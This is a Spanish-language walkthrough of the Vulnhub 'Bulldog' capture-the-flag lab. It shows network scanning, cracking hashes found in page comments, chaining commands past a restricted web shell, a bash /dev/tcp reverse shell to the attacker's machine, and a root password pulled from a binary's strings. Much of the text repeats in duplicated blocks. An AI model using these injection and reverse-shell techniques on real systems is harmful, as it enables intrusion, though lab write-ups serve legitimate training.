Vamos ha intentar hackear una máquina que encontramos en Vulnhub: Bulldog
Podemos descargarla de:
https://download.vulnhub.com/bulldog
Historia de la máquina:
Recientemente, Bulldog Industries hizo que su sitio web fuera borrado y propiedad del malicioso equipo alemán Shepherd Hack Team. ¿Podría esto significar que hay más vulnerabilidades para explotar? ¿Por qué no lo descubres? :
Este es un Boot-to-Root estándar. ¡Su único objetivo es ingresar al directorio raíz y ver el mensaje de felicitación, cómo lo hace depende de usted!
Dificultad: Principiante / Intermedio, si te quedas atascado, trata de descubrir las diferentes formas en que puedes interactuar con el sistema. Esa es mi única pista;)
Hecho por Nick Frichette (frichetten.com) Twitter: @frichette_n
Recomiendo ejecutar esto en Virtualbox, tuve algunos problemas para hacerlo funcionar en VMware. Además DHCP está habilitado, por lo que no debería tener problemas para conectarlo a su red. Por defecto está en modo puente, pero puede cambiarlo si lo desea.
Pongamonos manos a la obra:
Empezaré haciendo un nmap de la red para localizar la máquina Bulldog.
#nmap -sn 192.168.1.1/24
Una vez localizada la máquina, paso a hacer un escaneo de puertos:
$ nmap -A -sT -sV -O -vvv -T4 192.168.1.158
Tras lo que encuentro los puertos OPEN: 23 / 80 / 8080
Uso el comando “enum4linux”, para ver que información puedo extraer de usuarios de sistema, grupos, etc.
Solo consigo extraer nombres de usuario:
Paso a otro vector, la web o puerto 80: (192.168.1.158:80)
Cambio el subdomio “/notice” por “/admin” y encuentro el acceso al panel de administración.
Pruebo fuerza bruta con los usuarios encontrados en la búsqueda de información y algunas claves genéricas, pero no hay suerte.
Pero viendo que he encontrado /admin (subdominio oculto) me decido a utilizar DIRBUSTER para ver que más puedo encontrar.
Aunque no lo haya ido nombrando, en cada una de las páginas web, a falta de otra información y de los pocos vectores de ataque que encuentro, he ido también echando un ojo al código fuente por si este me revelara algún dato que me pudiera servir de utilidad para algo.
Pues esta web /dev/ la que parecía que menos importancia iba a tener de todas me encuentro esto:
Si entiendo bien el asunto, aquí tenemos los user:
-Malik
-Kevin
-Ashley
-Nick
-Sarah
Con el usuario y contraseña, me voy al panel de 1.158/admin y entro a la primera.
Realmente creo que no he conseguido nada, porque el usuario está logeado pero no se me permite ninguna acción.
Dandole vueltas, al volver a la web de desarrolladores a ver si pone algo más u otro usuario podría logearse con más permisos, encuentro que donde ponía “webshell” se ha vuelto un enlace y al pulsarlo puedo acceder.
http://192.168.1.158/dev/shell/
Solo permite los comandos que se ven en pantalla.
Así que al menos los utilizaré para tener más información del sistema.
Para sacar la información, pruebo a concatenar los comandos “&” y me doy cuenta de que los comandos que no coge (permite), tipo “uname” si los concatenas a uno de los que si permite, también los toma por válidos.
Intento utilizar netcat (no sé si lo tiene instalado) para conectar con mi Kali y hacer una Shell.
No funciona
Pruebo con:
ls && bash -i >& /dev/tcp/192.168.1.54/4444 0>&1
Tampoco nada.
Vistos los resultados obtenidos, me pongo a buscar alternativas a nc de shell.
En: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet , encuentro esto (Muy interesante, aunque no sé si valido para ahora) (https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem)
---------
But, What If You Don't Have -e Support?
-------------
Sigo dando vueltas al asunto e investigando sobre el tema.
Después de probar varias combinaciones doy con la siguiente:
echo 'bash -i >& /dev/tcp/192.168.1.56/4444 0>&1' | bash
Pongo el terminal de linux a la escucha:
Estoy dentro.
Vamos a por ello.
Ahora puedo recopilar información del sistema.
ls y whoami
Mostramos la info de grupos del sistema en /etc/group
Me meto en el usuario: bulldogadmin
El ls -l no me muestra nada, no me devuelve información.
Miro otras opciones por si hubiese algo oculto.
Cat no funciona con otro de los archivos encontrados
Conseguido somos root!!
Recomiendo ejecutar esto en Virtualbox, tuve algunos problemas para hacerlo funcionar en VMware. Además DHCP está habilitado, por lo que no debería tener problemas para conectarlo a su red. Por defecto está en modo puente, pero puede cambiarlo si lo desea.
Pongamonos manos a la obra:
Empezaré haciendo un nmap de la red para localizar la máquina Bulldog.
#nmap -sn 192.168.1.1/24
Una vez localizada la máquina, paso a hacer un escaneo de puertos:
$ nmap -A -sT -sV -O -vvv -T4 192.168.1.158
Tras lo que encuentro los puertos OPEN: 23 / 80 / 8080
Uso el comando “enum4linux”, para ver que información puedo extraer de usuarios de sistema, grupos, etc.
Solo consigo extraer nombres de usuario:
Paso a otro vector, la web o puerto 80: (192.168.1.158:80)
Cambio el subdomio “/notice” por “/admin” y encuentro el acceso al panel de administración.
Pruebo fuerza bruta con los usuarios encontrados en la búsqueda de información y algunas claves genéricas, pero no hay suerte.
Pero viendo que he encontrado /admin (subdominio oculto) me decido a utilizar DIRBUSTER para ver que más puedo encontrar.
Aunque no lo haya ido nombrando, en cada una de las páginas web, a falta de otra información y de los pocos vectores de ataque que encuentro, he ido también echando un ojo al código fuente por si este me revelara algún dato que me pudiera servir de utilidad para algo.
Pues esta web /dev/ la que parecía que menos importancia iba a tener de todas me encuentro esto:
Hashes de las passwords!!!!
<!--Need these password hashes for testing. Django's default is too complex-->
<!--We'll remove these in prod. It's not like a hacker can do anything with a hash-->
Si entiendo bien el asunto, aquí tenemos los user:
-Malik
-Kevin
-Ashley
-Nick
-Sarah
Y los hashes de sus passwords.
No encuentro ninguno de los hashes, hasta que busco el correspondiente al user: nick
Me devuelve la password: bulldog
Con el usuario y contraseña, me voy al panel de 1.158/admin y entro a la primera.
Realmente creo que no he conseguido nada, porque el usuario está logeado pero no se me permite ninguna acción.
Dandole vueltas, al volver a la web de desarrolladores a ver si pone algo más u otro usuario podría logearse con más permisos, encuentro que donde ponía “webshell” se ha vuelto un enlace y al pulsarlo puedo acceder.
http://192.168.1.158/dev/shell/
Solo permite los comandos que se ven en pantalla.
Así que al menos los utilizaré para tener más información del sistema.
Para sacar la información, pruebo a concatenar los comandos “&” y me doy cuenta de que los comandos que no coge (permite), tipo “uname” si los concatenas a uno de los que si permite, también los toma por válidos.
Intento utilizar netcat (no sé si lo tiene instalado) para conectar con mi Kali y hacer una Shell.
No funciona
Pruebo con:
ls && bash -i >& /dev/tcp/192.168.1.54/4444 0>&1
Tampoco nada.
Vistos los resultados obtenidos, me pongo a buscar alternativas a nc de shell.
En: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet , encuentro esto (Muy interesante, aunque no sé si valido para ahora) (https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem)
---------
But, What If You Don't Have -e Support?
-------------
Sigo dando vueltas al asunto e investigando sobre el tema.
Después de probar varias combinaciones doy con la siguiente:
echo 'bash -i >& /dev/tcp/192.168.1.56/4444 0>&1' | bash
Pongo el terminal de linux a la escucha:
Estoy dentro.
Vamos a por ello.
Ahora puedo recopilar información del sistema.
ls y whoami
Mostramos la info de grupos del sistema en /etc/group
Me meto en el usuario: bulldogadmin
El ls -l no me muestra nada, no me devuelve información.
Miro otras opciones por si hubiese algo oculto.
Cat no funciona con otro de los archivos encontrados
Podemos ver esto dentro del archivo:
___________________________________________________________________________________________________________
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH imatePASH SWORDyouH CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
Usage: ./customPermissionApp <username> sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
------------------------------------------------------------------------------------------------------------------------------------------------------------------
Tal y como se puede ver en el strings del archivo customPermissionApp, se observa lo que podría ser la contraseña de root.
Para ello hace falta ejecutar sudo su.
Sin embargo se necesita una shell conTTY
Conseguido somos root!!